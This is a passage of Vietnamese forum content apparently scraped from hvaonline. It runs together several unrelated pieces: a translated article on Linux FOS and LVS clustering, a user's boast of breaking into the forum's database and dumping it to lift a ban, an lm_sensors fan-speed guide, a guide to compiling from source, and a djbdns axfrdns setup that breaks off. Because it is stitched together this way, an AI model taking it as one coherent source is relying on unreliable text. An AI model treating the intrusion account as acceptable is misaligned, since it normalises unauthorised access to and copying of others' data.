Nếu không được minh hoạ trong sơ đồ này, cũng có thể là cả hai nút đang hoạt động và không hoạt động được dùng vào việc khác, ít cấp bách hơn, các dịch vụ trong khi thực hiện vai trò của chúng trong một FOS cluster. Ví dụ, hệ thống không hoạt động có thể chạy lệnh inn để quản lý giao thức NNTP newsfeed. Tuy nhiên, cần lưu ý là hoặc phải giữ cho hệ thống có khả nǎng còn đủ tài nguyên dư để đề phòng có một lỗi xuất hiện, hoặc chọn các dịch vụ có khả nǎng tắt hệ thống trong trường hợp có lỗi xảy ra. Hơn nữa, từ quan điểm của một người quản trị hệ thống, thì lý tưởng nhất là có thêm một hệ thống dành riêng cho nút chính và nút sao lưu để thực hiện các dịch vụ liên quan tới cluster, thậm chí ngay cả khi điều này cho kết quả của việc sử dụng ít hơn 100% tài nguyên hệ thống.


Hình 1. Một ví dụ cấu hình FOS


Một vấn đề của FOS cluster là khả nǎng toàn bộ cluster sẽ hạn chế khả nǎng của nút hiện tại đang hoạt động. Điều này có nghĩa là, thêm vào các khả nǎng phụ khác trực tuyến sẽ yêu cầu phải cập nhật (hoặc thay thế) cho mỗi hệ thống. Trong khi công nghệ FOS lại bao hàm ý nghĩa là các cập nhật đó có thể thực hiện được mà không làm ảnh hưởng tới tính sẵn có của dịch vụ.

Cần lưu ý thêm là FOS không phải là công nghệ chia xẻ dữ liệu (data-sharing technology). Hay nói cách khác, nếu một dịch vụ đọc và ghi dữ liệu trên một nút đang hoạt động, FOS sẽ không bao hàm cơ chế sao chép dữ liệu đó sang một nút không hoạt động. Điều này có nghĩa là dữ liệu được dùng bởi các dịch vụ trên một cluster FOS sẽ thuộc vào một trong hai nhóm dưới đây:

- Dữ liệu không thay đổi; nó là dữ liệu chỉ đọc (read-only)
- Dữ liệu không còn là chỉ đọc, nhưng nó lại sẵn sàng cho cả hai nút hoạt động và không hoạt động một cách đều nhau.

Trong khi cấu hình thử nghiệm ở trên có thể là phù hợp với một Web site có các trang Web là tĩnh, thì nó lại không thích hợp với một site FTP đang bận, đặc biệt là site mà các file mới được upload liên tục bởi người sử dụng FTP site. Hãy thử xem qua cách mà FOS cluster có thể sử dụng nhiều hơn các dữ liệu động.

Một cấu hình FOS với dữ liệu đã được chia xẻ

Như đã nói ở trên, một số cơ chế được sử dụng để tạo dữ liệu đọc-ghi sẵn có cho cả hai nút trong một FOS cluster. Một giải pháp là sử dụng khả nǎng lưu trữ NFS có thể truy cập được. Bằng cách sử dụng tiếp cận này, các lỗi xảy ra với nút đang hoạt động sẽ không ảnh hưởng đến kết quả của dữ liệu bị không truy cập được của nút không hoạt động.

Tuy nhiên, cần phải thận trọng khi chặn quyền truy nhập tới các thiết bị lưu trũ NFS nếu như đó chỉ là một lỗi đơn giản. Hơn nữa, sự mất mát của kiểu lưu trữ này có thể ảnh hưởng tới kết quả ngưng chạy dịch vụ, thậm chí là ngay cả khi các nút hoạt động và không hoạt động vẫn bình thường. Giải pháp ở hình 2 là sử dụng RAID và các công nghệ khác để triển khai một máy chủ NFS chịu được lỗi (fault-resistant NFS server).

Hình 2. Một kiểu cấu hình FOS với dữ liệu chia xẻ



Trong khi nó có thể là các sửa đổi khác nhau đối với cấu hình FOS cluster cơ bản là có thể, thì trong thực tế, các lựa chọn là giới hạn trong một hệ thống cung cấp tất cả các dịch vụ, trong khi một hệ thống sao lưu quản lý các dịch vụ đó, và khởi tạo lỗi nếu có và khi cần. Để tǎng thêm khả nǎng mềm dẻo và một số khả nǎng khác, lựa chọn giải pháp kết hợp là cần thiết. Và sự lựa chọn đó chính là LVS.

Các cấu hình LVS điển hình

Bằng nhiều cách, một LVS cluster có thể được xem như là một FOS cluster chỉ với một sai khác nhỏ - thay vì thực sự cung cấp các dịch vụ, nút đang hoạt động trong LVS cluster lại gửi các yêu cầu tới một hoặc nhiều máy chủ mà thực sự cung cấp các dịch vụ. Các máy chủ phụ này (gọi là các máy chủ thực - real servers) được thực hiện cân bằng tải bởi nút đang hoạt động (trong thuật ngữ của LVS gọi là active router)

Giống như FOS cluster, có hai hệ thống chia sẻ, đảm bảo rằng một trong hai hệ thống là đang hoạt động, trong khi một hệ thống khác (inactive router) lại ở chế độ chờ để khởi tạo lỗi. Tuy nhiên, chúng chỉ khác nhau ở điểm kết thúc.

Bởi vì nhiệm vụ chính của active router là chấp nhận các yêu cầu dịch vụ gửi đến và gửi chúng tới một máy chủ thích hợp, điều đó cũng cần thiết cho active router để theo dõi tình trạng của các máy chủ thực, và xác định xem máy chủ thực nào sẽ nhận các yêu cầu dịch vụ trả về. Như vậy, active router quản lý tất cả các dịch vụ trên mỗi mỗi server thực. Ngay cả khi dịch vụ gặp sự cố trên một máy chủ thực, active server sẽ dừng việc gửi các yêu cầu dịch vụ tới nó cho tới khi dịch vụ hoạt động trở lại.

Thêm vào đó, active router có thể tuỳ ý sử dụng một trong số các thông số lịch trình để xác định xem máy chủ thực nào có khả nǎng nhất trong việc xử lý các yêu cầu dịch vụ tiếp theo. Các kiểu cân tải:

- Luân chuyển (Round robin);
- Kết nối tối thiểu (least connections);
- Luân chuyển có trọng số;
- Kết nối tối thiểu có trọng số (least connections).

Như vậy các active router có thể tính được tải hoạt động của máy chủ thực và phân tải tương ứng. Các máy chủ thực có thể sử dụng các cấu hình phần cứng khác nhau, và có một active router cân bằng tải cho mỗi real server một cách đều nhau.

Một cấu hình LVS cơ bản
Trong hình 3 minh hoạ một kiểu máy chủ LVS cluster với 3 máy chủ thực cung cấp dịch vụ về Web. Trong cấu hình này, các máy chủ thực được kết nối với một mạng con đã được dành riêng. Bộ phân tuyến (router) có hai card giao diện mạng:

- Một giao diện cho mạng chung
- Một giao diện cho mạng riêng

Các yêu cầu dịch vụ được gửi tới các địa chỉ IP ảo của cluster được nhận bởi active router trên một giao diện, sau đó lại được chuyển sang máy chủ thực thích hợp khác thông qua một giao diện khác. Trong trường hợp này, các bộ chọn đường đồng thời có thể hoạt động như là một phần của các firewall; chỉ chuyển tiếp các dịch vụ hợp lệ tới mạng riêng của máy chủ thực

Hình 3. Một cấu hình LVS điển hình


Một LVS cluster có thể sử dụng một trong 3 phương pháp khác nhau để phân tuyến thông tin tới các máy chủ thực:

- Dịch địa chỉ mạng (Network Address Translation), cho phép thiết lập một kiến trúc mạng LAN riêng.
- Dẫn đường trực tiếp, cho phép thiết lập kiểu truyền theo kiểu mạng LAN.
- Đường hầm - Tunnelling (đóng gói IP) cho phép có thể phân phối các máy chủ thực ở mức WAN.

Trong hình 3, bộ chọn đường NAT đang được sử dụng. Trong khi bộ chọn đường dựa trên NAT cho phép nó có thể hoạt động với các máy chủ thực trong một môi trường được bảo vệ tốt hơn, bởi nó phải dịch các địa chỉ của tất cả các thành phần đi và đến từ mỗi máy chủ thực. Trong thực tế, điều này chỉ giới hạn kích thước của NAT-routed LVS cluster tới xấp xỉ 10 đến 20 máy chủ thực.

Tổng chi phí cho giải pháp này sẽ là không hiện thực nếu sử dụng các bộ dẫn đường kiểu tunnel (đường hầm) hoặc dẫn đường trực tiếp, bởi vì trong các kĩ thuật dẫn đường này, các máy chủ thực phản hồi trực tiếp tới các hệ thống được yêu cầu. Với kiểu tunneling tổng chi phí sẽ còn cao hơn nhiều so với kiểu trực tiếp, nhưng nó vẫn nhỏ hơn khi so sánh với kiểu NAT.

Một khía cạnh khá thú vị của cluster LVS là các máy chủ thực không phải chạy trên một hệ điều hành riêng biệt. Vì các kỹ thuật chọn đường sử dụng LVS đều dựa trên các đặc điểm chuẩn TCP/IP, do đó với bất kì một nền công nghệ nào có hỗ trợ TCP/IP đều có thể dùng được như là một phần của LVS cluster.

Cấu hình LVS phức tạp hơn

Hình 4, minh hoạ một tiếp cận phức tạp hơn để triển khai hệ thống LVS. Kiểu cấu hình này minh hoạ cho ta thấy một tiếp cận của việc triển khai các cluster bao gồm một số lượng lớn các hệ thống. Tiếp cận này theo cấu hình này là chia xẻ một tập hợp các máy chủ thực giữa nhiều router (và các router backup cùng với chúng)







Hình 4. Cấu hình LVS phức tạp




Bởi vì mỗi một active router chịu trách nhiệm xử lý các yêu cầu chọn đường gửi tới một địa chỉ VIP duy nhất (hoặc tập hợp các địa chỉ), cấu hình này về cơ bản có thể đại diện cho nhiều cluster. Tuy nhiên, round-robin DNS có thể được dung để giải quyết một hostname đơn tới một trong số các địa chỉ VIP được quản lý bởi một trong số các active router. Do đó, mỗi một yêu cầu dịch vụ sẽ được gửi tới mỗi một active router, một cách hiệu quả là phân bố đều lưu lượng truyền qua các active router.

Kết luận
Các nhà cung cấp giải pháp như IBM, SGI, HP, và Sun đều cung cấp các sản phẩm và dịch vụ để xây dựng các cluster trên Linux. Sự quan trọng của Linux như một nền server xoay quanh khả nǎng hỗ trợ các server lớn và các cluster cho phép cạnh tranh với các Unix server. Các bạn có thể thấy có nhiều tổ chức dùng các giải pháp cluster trên Linux để tính các bài toán lớn hoặc phục vụ các Website. Clustering là một trong các dịch vụ đã được thử thách thành công trên Linux. Việc dùng các giải pháp trên Linux đã giảm giá thành giải pháp cluster vài lần và đạt tính sẵn sàng phục vụ cao, thậm chí đến ``bốn số chín`` 99,99%.

Tác giả : Internet
Bài dịch về Linux Virtual Server .

Tác giả : nguyễn Ngọc Khoa
Nguồn : hvaonline.net

hackernohat wrote:
Chứ không mó vô uổng cả đời sao,vì HVA có rất nhiều kinh nghiệm trong việc bị thâm nhập nên cơ chế bảo vệ hẳn rất chặt nên chui vô phải tìm vài thứ mà ngâm cứu ngu seo không đọc chứ.

Cái database lớn thấy ghê tui đâu có ngu mà down nguyên cái về để mà bị time out rùi mất công tải lại hả ( do line ADSL ở VN hơi ẹ ) mà dùng query tách table bài viết ra rùi down nó về để an toàn.Lúc tui down về có chạy lệnh drump tất cả database của HVA vô một file để ngay trong thư mục upload ( cái nì may mắn Chmod đủ để quậy ),tui đã gửi thư cho BQT báo là có để lại không những 1 mà 2 tệp tin backup database rùi mà ( tui không hề có ý phá mà chỉ mún bỏ cái bannick nên quậy có ấy cái query à đâu có tìm cách get root hay phá gì rứa xem log thì bí-nếu còn ) 


Tôi chân thành khuyên bồ tìm hiểu # là cái gì trứoc rồi mới phát biểu trước công chúng :lol:
Chú thích: chỉnh tốc độ quạt không đúng có thể dẫn tới cháy máy vì quá nóng. Mình sẽ hoàn toàn không chịu trách nhiệm nếu sự cố xảy ra.

Bạn vừa sắm cái mainboard mới (hay laptop mới). Hôm giờ trời nóng quá nên tháo cái case ra cho máy mát mẻ. Chạy được vài bữa, thấy mỗi lần biên dịch chương trình gì hơi lâu tí thấy cái quạt nó kêu như muốn đánh thức hàng xóm dậy. Bạn thầm nghĩ làm sao tôi có thể control được cái quạt chỉ chạy một tốc độ êm đềm nào đó thôi? Bài viết dưới sẽ giải thích cách control tốc độ quạt trên mainboard sử dụng lm_sensors

1. Cài đặt phần mềm

Nếu bạn đang dùng Mandriva,

urpmi lm_sensors

Nếu bạn đang dùng Gentoo,

emerge lm_sensors

Nếu bạn đang dùng Debian,

apt-get install lm_sensors

Nếu bạn đang dùng LinuxFromScratch,

khỏi phải chỉ

smilie

Nếu bạn đang dùng Fedora:

yum install lm_sensors

2. Cấu hình:

Việc đầu tiên bạn sẽ cần chạy lệnh sensors_detect để chương trình dò tìm chipset mainboard bạn đang dùng là gì? Khi biết được chipset, chương trình sẽ tự nạp driver cần thiết cho chipset này. Dĩ nhiên, chipset này phải được hỗ trợ trên Linux. Xem ở đây có sẵn chipset sẽ/đã được hỗ trợ. Linux sử dụng protocol i2c cho việc theo dõi sức khỏe của hệ thống. Bạn có thể đọc thêm về i2c trong /usr/src/linux/Documentations/i2c/summary

Giả sử mainboard sử dụng chipset được hỗ trợ, bạn sẽ thấy trên màn hình kết quả của lệnh sensors_detect na ná bên dưới:


We can start with probing for (PCI) I2C or SMBus adapters.
You do not need any special privileges for this.
Do you want to probe now? (YES/no): YES
Probing for PCI bus adapters...
Use driver `i2c-amd756' for device 00:07.3: AMD-756 Athlon ACPI
Probe succesfully concluded. 


Kết quả của lệnh trên thông báo đã tìm được chipset AMD-756 và sẽ sử dụng driver i2c-amd756.
Lưu ý nếu hệ thống bạn chưa có sẵn device i2c, bạn sẽ cần dùng gói lệnh mkdev.sh để tạo thiết bị này nếu không sensors_detect sẽ không dò tìm driver cần thiết được. mkdev.sh nằm trong thư mục progs sau khi bung gói từ nguồn. Hầu hết các bản Linux đã tạo sẵn device này cho bạn.

Kế tiếp bạn sẽ thấy câu hỏi có muốn lm_sensors nạp driver này không, giá trị chuẩn là YES nếu bạn nhấn phím Enter.


We will now try to load each adapter module in turn.
Load `i2c-amd756' (say NO if built into your kernel)? (YES/no): YES
Module loaded succesfully. 


Bạn sẽ cần nạp thêm 2 modules nữa. Cứ việc chấp nhận câu trả lời chuẩn (YES) trong các bước tới

To continue, we need module `i2c-dev' to be loaded.
If it is built-in into your kernel, you can safely skip this.
i2c-dev is not loaded. Do you want to load it now? (YES/no): YES
Module loaded succesfully. 



We are now going to do the adapter probings. Some adapters may hang halfway
through; we can't really help that. Also, some chips will be double detected;
we choose the one with the highest confidence value in that case.
If you found that the adapter hung after probing a certain address, you can
specify that address to remain unprobed. That often
includes address 0x69 (clock chip).

Next adapter: SMBus AMD756 adapter at 50e0
Do you want to scan it? (YES/no/selectively): YES
Probing for `Winbond W83782D'... Success!
(confidence 8, driver `w83781d'), other addresses: 0x48 0x49
Probing for `SPD EEPROM'... Success!
Client found at address 0x51
Probing for `SPD EEPROM'... Success!
(confidence 8, driver `eeprom')
Client found at address 0x52
Probing for `SPD EEPROM'... Success!
(confidence 8, driver `eeprom')
Client found at address 0x69  


Lưu ý: các dòng trên mình chỉ copy và paste các hàng sensors-detect tìm được. Bạn sẽ thấy nhiều hàng Fail khi chương trình dò tìm.


Some chips are also accessible through the ISA bus. ISA probes are
typically a bit more dangerous, as we have to write to I/O ports to do
this. This is usually safe though.

Do you want to scan the ISA bus? (YES/no): no
Some Super I/O chips may also contain sensors. Super I/O probes are
typically a bit more dangerous, as we have to write to I/O ports to do
this. This is usually safe though.
Do you want to scan for Super I/O sensors? (YES/no): no

Now follows a summary of the probes I have just done.
Just press ENTER to continue:

Driver `w83781d' (should be inserted):
Detects correctly:
* Bus `SMBus AMD756 adapter at 50e0'
Busdriver `i2c-amd756', I2C address 0x2d (and 0x48 0x49)
Chip `Winbond W83782D' (confidence: 8)
Driver `eeprom' (should be inserted):
Detects correctly:
* Bus `SMBus AMD756 adapter at 50e0'
Busdriver `i2c-amd756', I2C address 0x50
Chip `SPD EEPROM' (confidence: 8)
* Bus `SMBus AMD756 adapter at 50e0'
Busdriver `i2c-amd756', I2C address 0x51
Chip `SPD EEPROM' (confidence: 8)
* Bus `SMBus AMD756 adapter at 50e0'
Busdriver `i2c-amd756', I2C address 0x52
Chip `SPD EEPROM' (confidence: 8)  


Bước cuối cùng, sensors-detect sẽ thông báo các dòng lệnh cần thiết để nạp module cần thiết. Tùy vào phiên bản Linux bạn dùng mà vị trí/tên các tập tin bên dưới sẽ khác nhau. Đây là thông tin sử dụng trên Gentoo


I will now generate the commands needed to load the I2C modules.
If you want to load the modules at startup, generate a config file
below and make sure lm_sensors gets started at boot time; e.g
$ rc-update add lm_sensors default

To make the sensors modules behave correctly, add these lines to
/etc/modules.d/lm_sensors and run modules-update:

#----cut here----
# I2C module options
alias char-major-89 i2c-dev
#----end cut here----

WARNING! If you have some things built into your kernel, the list above
will contain too many modules. Skip the appropriate ones! You really should
try these commands right now to make sure everything is working properly.
Monitoring programs won't work until it's done.
To load everything that is needed, execute the commands below...

#----cut here----
# I2C adapter drivers
modprobe i2c-amd756
# I2C chip drivers
modprobe w83781d
modprobe eeprom
# sleep 2 # optional
/usr/bin/sensors -s # recommended
#----end cut here----

Do you want to generate /etc/conf.d/lm_sensors? Enter s to specify other file name?
(YES/no/s): YES
 

Xin chúc mừng, việc cấu hình lm_sensors đã hoàn thành. Kế tiếp bạn có thể chạy lệnh sensors để xem kết quả trạng thái hệ thống hiện thời.

/etc/init.d/lm_sensors start

* Loading lm_sensors modules...
* Loading i2c-amd756... [ ok ]
* Loading w83781d... [ ok ]
* Loading eeprom... [ ok ]
* Initializing sensors... [ ok ] 


root@localhost rhs# sensors

w83782d-i2c-0-2d
Adapter: SMBus AMD756 adapter at 50e0

VCore 1: +1.78 V (min = +1.66 V, max = +1.82 V)
VCore 2: +2.53 V (min = +1.66 V, max = +1.82 V) ALARM
+3.3V: +3.41 V (min = +3.14 V, max = +3.46 V)
+5V: +5.19 V (min = +4.73 V, max = +5.24 V)
+12V: +12.40 V (min = +10.82 V, max = +13.19 V)
-12V: -12.61 V (min = -13.18 V, max = -10.88 V)
-5V: -4.80 V (min = -5.25 V, max = -4.75 V) ALARM
V5SB: +5.38 V (min = +4.73 V, max = +5.24 V) ALARM
VBat: +3.12 V (min = +2.40 V, max = +3.60 V)
fan1: 0 RPM (min = 2657 RPM, div = 2)
fan2: 5037 RPM (min = 2657 RPM, div = 2)
fan3: 0 RPM (min = 664 RPM, div = 8)
temp1: +38 C (high = +0 C, hyst = -128 C) sensor = thermistor
temp2: +52.0 C (high = +90 C, hyst = +88 C) sensor = thermistor
temp3: -46.5 C (high = +80 C, hyst = +75 C) sensor = diode
vid: +1.750 V (VRM Version 9.0)
alarms:
beep_enable:
Sound alarm disabled
 

Hey, fan2 đang chạy tốc độ 5037. Vậy làm sao tôi có thể chỉnh tốc độ đây?

lm_sensors sử dụng lệnh fancontrol cho việc quản lý tốc độ quạt. Trước khi muốn dùng fancontrol, bạn phải có tập tin /etc/fancontrol

Để tạo tập tin /etc/fancontrol, bạn có thể dùng lệnh pwmconfig Khi thực hiện lệnh pwmconfig, nhớ theo dõi xem quạt có thực sự ngừng khoảng 5 giây không? Rồi trả lời câu hỏi pwmconfig hỏi trong từng bước cho mỗi quạt khác nhau. Sau đó chương trình sẽ hỏi bạn có muốn tạo tập tin /etc/fancontrol, trả lời Dạ có smilie

Sau khi tạo tập tin /etc/fancontrol, bạn có thể cho chạy lệnh fancontrol sau đó chạy lệnh sensors trở lại để xem tốc độ quạt bây giờ là gì?

Nếu bạn đã hài lòng, bỏ hàng này vào /etc/conf.d/local.start

Code:
/usr/sbin/fancontrol & > /dev/null


để mỗi khi khởi động máy, chương trình fancontrol sẽ tự động chạy cho đến lúc bạn tắt máy hay bạn tự chấm dứt chương trình với lệnh kill.

Nếu bạn đang dùng KDE, muốn có một khung cửa sổ nho nhỏ để theo dõi trang thái của sensors, bạn có thể cài ksensors với

Code:
emerge ksensors


Hoặc đang dùng Gnome bạn có thể sử dụng sensors-applet hoặc gkrellm-sensors

Bạn cũng có thể tự chỉnh tốc độ quạt bằng cách thay đổi giá trị của pwmx với x là 1, 2, 3, v..v... pwmx thường hay nằm trong /proc/sys/dev/sensors/tên_chip_đang_dùng hoặc trong /sys/devices/pci0000:00/0000:00:07.3/i2c-0/0-002d (lưu ý: vị trí này thay đổi tùy theo chipset máy bạn dùng là gì).

larry at vnlinux dot org Apr, 22nd 2006

References:
# http://secure.netroedge.com/~lm78/
# http://forums.gentoo.org/viewtopic-t-236468-highlight-control+fan+speed.html
Cài đặt các ứng dụng từ mã nguồn trên Linux

Có nhiều bạn khi lần đầu tiên đến với Linux cảm giác sự khó khăn và bất tiện của việc cài đặt các ứng dụng trên Linux, đặc biệt là các ứng dụng phải cài đặt từ mã nguồn như xine, openGL .v.v...
Trên Windows, bạn chỉ cần tải ứng dụng về, giải nén rồi click vào file setup là hòan tất việc cài đặt, nhưng trên Linux đó là một chuyện hòan tòan khác. Bài viết này sẽ nhằm mục đích hướng dẫn bạn các thao tác cài đặt các phần mềm ứng dụng trên Linux và cung cấp các kiến thức căn bản giúp bạn có thể quản lý hệ thống của riêng mình.

Bài viết sẽ giả sử rằng bạn đã biết cách sử dụng một số phần mềm quản lý gói như rpm. Để dễ dàng thì bài viết sẽ gọi các phần mềm trên Linux là các gói (package). Thực tế tên gọi 'gói' đúng đắn hơn vì các gói trên Linux có thể không phải là một trình ứng dụng nào đó mà chỉ là các thư viện nền như thư viện đồ họa Gtk+ hoặc OpenGL .v.v...

1. Giới thiệu

Bạn có thể sẽ tự hỏi rằng tại sao các phần mềm trên Linux không tự đóng gói sẵn cho chúng ta rồi khi xuất bạn chỉ cần tải về và cài đặt nó. Câu trả lời nằm ở 2 vấn đề, vấn đề thứ 1 là các phần mềm viết trên Linux không hẳn chỉ có thể chạy trên Linux mà có thể chạy trên nhìều hệ thống khác nhau trong họ Unix như Solaris, AIX, HP-UX .v.v.. thậm chí các phần mềm đó có thể chạy trên rất nhiều vi xử lý khác nhau như Intel, Motorola, PPC .v.v... Có được sự đa năng đó là nhờ vào tính đa nền (portable) của ngôn ngữ C/C++ nhưng đòi hỏi chúng ta phải biên dịch lại phần mềm từ mã nguồn cho hệ thống mà chúng vận hành. Bạn sẽ tự hỏi là tại sao các nhà phát triển lại không biên dịch sẵn cho chúng ta trên hệ thống thông dụng nào đó như Linux chẳng hạn.

Câu trả lời là bởi vì các phần mềm này là phần mềm mã nguồn mở Smiling và các nhà phát triển không có cách gì hơn là để lại phần biên dịch cho chúng ta. Tuy nhiên bạn đừng thất vọng vì có một số nhà phát triển rất là tốt bụng có thể biên dịch sẵn cho chúng ta ra các gói có dạng rpm và cùng với sự hỗ trợ của công ty Red Hat chúng ta cũng đã có những chương trình quản lý các phần mềm hiệu quả không kém gì trên Windows như RPM (Redhat Package Manager). Mặc dù là thế nhưng không phải lúc nào các gói mới nhất từ các nhà phát triển gốc đều có phiên bản biên dịch sẵn mà thường là một khỏang thời gian sau các phiên bản đó mới có được dưới
dạng biên dịch sẵn. Bên cạnh đó còn có rất nhiều nhà phát triển không hề biên dịch sẵn sản phầm của mình mà đòi hòi người dùng phải biên dịch, điển hình là trình chơi phim và nhạc xine. Các gói biên dịch sẵn các bạn có từ xine đa số là từ các nhà phát triển khác. Do đó nếu bạn không bạn không biết cách cài đặt các gói từ nguồn là một trở ngại rất lớn cho việc hiểu và quản trị hệ thống của riêng mình.

2. Căn bản của việc cài đặt

Điều đầu tiên khi bạn tiến hành cài đặt là bạn phải có mã nguồn của gói đó trước. Hãy lên mạng search bất kì gói nào bạn thích như thư viện Gtk+ hoặc Gnome .v.v... Sau khi tải về, thông thường có dạng là .gz hoặc .bz2, đây đều là 2 chuẩn nén khác nhau, sau khi giải nén bằng gunzip cho gz hoặc bunzip2 cho bz2 thì các gói sẽ có dạng mới là tar, cũng là một chuẩn nén khác, bạn có thể giải nén bằng lệnh, tar -xvf ... Thế nhưng đế dễ dàng và tiết kiệm dung lượng ổ đĩa thì chúng ta có thể gộp các câu lệnh đó thành 1 như sau:

- Đối với gói .gz: Code:
# tar -zxvf tengoi.gz

- Đối với gói .bz2:Code:
# tar -jxvf tengoi.bz2

Sau khi giải nén xong và tìm tập tin INSTALL để đọc cụ thể cho phần hướng dẫn cài đặt. Thế nhưng hầu như các gói đều tuân theo các thao tác tuần tự sau:
Code:
# ./configure
# make
# make install


Chỉ có vài gói đặc biệt sẽ có riêng cách cài đặt nhưng khi bạn đã nắm vững nguyên tắc chung thì dù là cách thức nào bạn cũng có thể xoay xở được. Chúng ta hãy xét đến câu lệnh đầu tiên, Code:
./configure
... Thực chất configure là một shell script sẽ kiểm tra những yêu cầu của hệ thống của bạn có đáp ứng đủ để cài đặt gói lên không, ví dụ như một số gói đòi hỏi bạn phải có sẵn thư viện đồ họa Gtk 2.4 trở lên hoặc là thư viện để giải nén nhạc Mp3..v.v... Rất nhiều gói có sự phụ thuộc như thế chứ các gói khi tải về không hề có sẵn các gói tương ứng cần thiết cho nó. Khi bạn chạy configure xong kết quả sẽ cho bạn biết các gói nào cần thiết để cài đặt. Nhiệm vụ của bạn không gì hơn là phải tìm các gói phụ thuộc đó cài lên máy rồi mới tiếp tục việc cài đặt. Nếu như hệ thống của bạn thỏa mãn đầy đủ các yêu cầu để cài đặt thì các Makefile sẽ được
tạo ra. Makefile là một file đặc biệt của tiện ích make nhằm hướng dẫn biên dịch mã nguồn của gói ra dạng
thực thi. Sau khi bạn thực thi lệnh 'make' xong thì tòan bộmã nguồn của gói đã được biên dịch sang dạng thực thi nhưng các file thực thi vẫn còn nằm trên thư mục hiện hành. Do đó bạn cần phải thực hiện thêm lệnh 'make install' để chép các file thực thi đó sang đúng vị trí của nó trên hệ thống. Nếu như không có thông báo lỗi gì xảy ra thì bạn đã hòan tất việc cài đặt gói lên hệ thống của mình.

3. Tổ chức các file trên hệ thống

Bạn hòan tòan biết thư mục trên Linux thì thư mục /usr là thư mục quan trọng nhất vì nó sẽ chứa các chương trình và hàm thư viện trên đó. Trong thư mục /usr/bin là sẽ chứa các file thực thi cho các gói bạn đã cài đặt trên máy, các file trong thư mục này bạn sẽ thấy các file rất quen thuộc như mozilla, gedit .v.v... Thư mục /usr/lib sẽ chứa các hàm thư viện, bạn sẽ thấy rất nhiều files có phần mở rộng là .so (shared object) là các hàm thư viện liên kết động hoặc .a (archive) hoặc .la đều là các hàm thư viện liên kết tĩnh. Đặc tính căn bản của 2 dạng thư viện này là hàm thư viện liên kết tĩnh sẽ được liên kết thẳng với files thực thi luôn trong quá trình liên kết, còn hàm thư viện liên kết động thì sẽ được liên kết trong quá trình thực thi, cho nên sau khi chương trình đã được biên dịch và liền kết rồi các thư viên tĩnh chúng ta có thể bỏ đi nhưng thư viện liên kết động thì bắt buộc phải đi kèm với chương trình. Thư mục /usr/share sẽ chứa các icon, manual hoặc info của gói.

4. Lọai bỏ một gói

Nếu bạn mong muốn lọai bỏ một gói đã cài đặt trên hệthống thì cách duy nhất là bạn phải vào lại thư mục mã nguồn của gói và gõ lệnh Code:
'make uninstall'
... thông thường bạn sẽ có các câu lệnh sau: 'make clean' 'make
distclean' ... Các câu lệnh có ý nghĩa rất tương đối và được định nghĩa trong tập tin Makefile, nên đầu tiên bạn cứ thử với 'make uninstall' rồi Code:
'make clean'
cái cuối cùng Code:
'make distclean'
là giúp bạn xóa hết các tập tin đã biên dịch ở thư mục nguồn và đồng thời xóa Makefile, bạn phải chạy lại ./configure để tạo lại Makefile.

5. Quản lý các gói

Do việc xóa bỏ một gói như trên rất là phiền phức đôi lúc bạn chẳng thể xóa bỏđược nếu như mất đi mã nguồn, cho nên bạn có thể thay vì cài nó vào thư mục mặc định là /usr thì bạn có thể cài vào các thư mục của riêng bạn, ví dụ như bạn có thể tạo thư mục '/soft' ... Sau đó để cài gói gedit thì bạn tạo thêm thư mục /soft/gedit và dùng lệnh ./configure ... bạn thêm tùy chọn sau:

Code:
./configure --prefix=/soft/gedit


thì khi bạn gõ Code:
make install
sẽ copy tòan bộ sang thư mục /soft/gedit .. Khi bạn muốn xóa tòan bộ gói thì chỉ đơn giản xóa đi thư mục đó thôi. Lưu ý là khi bạn cài vào thư mục riêng của mình rồi bạn phải tạo 2 đường dẫn cho 2 biến mội trường (environment variable) LD_LIBRARY_PATH và PKG_CONFIG_PATH ...
LD_LIBRARY_PATH sẽ có đường dẫn đến thư mục lib của gói vừa tạo (ví dụ như /soft/gedit/lib) còn PKG_CONFIG_PATH sẽ có đường dẫn đến thư mục pkg_config trong thư mục lib (ví dụ như /soft/gedit/lib/pkg_config) .. Bên cạnh đó nếu bạn muốn chương trình gọi tự động thì bạn cũng
nên thêm vào biến PATH cho gói của mình.

6. Lời kết

Đối với cách cài trên thì bạn dể dàng quản lý các gói của mình nhưng đối với các dạng thư viện thì bạn nên cài nó vào thư mục /usr hơn là thư mục riêng của mình vì một số gói sẽ tìm các thư việc trên thư mục mặc định /usr /usr/local hơn là các thư mục riêng người dùng nên nếu bạn cài lên thư mục riêng thì đôi lúc các thư viện đó sẽ không được tìm ra. Thông thường lênh ./configure đi đôi với rất nhiều tùy chọn cho phép bạn lựa chọn nhiều tính năng khác nhau, bạn hãy gỏ ./configure --help để mà biết đầy đủ các tùy chọn của gói. Bài viết chắc chắn sẽ không tránh khỏi những thiếu sót bằng cách này hay cách khác, rất mong sự góp ý của các bạn, Xin cám ơn.

Tác giả : Lê Thanh Phong
Nguồn : www.vnlinux.org
Không sao cả bạn cứ post giùm mình , mình sẻ sửa lại các bài bạn đả post xong .

Cám ơn nhé :wink:
Cám ơn bồ vẫn còn nhớ những bài viết này , nhưng bài củ quá có nhiều thông tin không được chính xác , có lẻ tôi cần phải sửa lại nhiều chổ smilie
trong khi chờ đợi bạn nào cần thăm khảo có thể vào MỤC LỤC của box để xem các bài viết giá trị hơn và chính xác hơn smilie
Thay thế BIND với djbdns - phần 5 (phần cuối)

6.3 Thiết lập axfrdns (nếu cần cho phép zones transfer)
Sở dĩ phần thiết lập axfrdns được đưa vào mục "bảo trì" vì xét cho cùng, chức năng này dùng để đồng bộ hoá dữ liệu giữa các DNS servers. Bởi thế chúng mang nặng tính bảo trì. Bạn cần ứng dụng phần này nếu như primary DNS của bạn là tinydns và một (hoặc nhiều) các "secondary" DNS của bạn dùng BIND. Giữa các tinydns server việc đồng bộ hoá thông tin rất đơn giản như đã đề cập ở trên. Riêng với mối quan hệ tinydns và BIND thì phải dùng đến giải pháp AXFR (zone transfer).

6.3.1 Thiết lập dịch vụ axfrdns
- tạo tài khoản cho axfrdns:
# useradd -g dnsgroup -d /dev/null -s /bin/true axfrdns

- tạo dịch vụ axfrdns:
# axfrdns-conf axfrdns dnslog /var/dns/axfrdns /var/dns/tinydns 203.100.10.10
trong đó:
axfrdns-conf là tiện ích dùng để tạo dịch vụ axfrdns và các hồ sơ hỗ trợ
axfrdns là tài khoản vừa được tạo ở trên. Bạn có thể tạo tài khoản với tên tuỳ chọn để tránh bối rối nếu cần
dnslog là tài khoản đã được tạo ra trước đây dành riêng cho log
/var/dns/axfrdns là thư mục chứa axfrdns
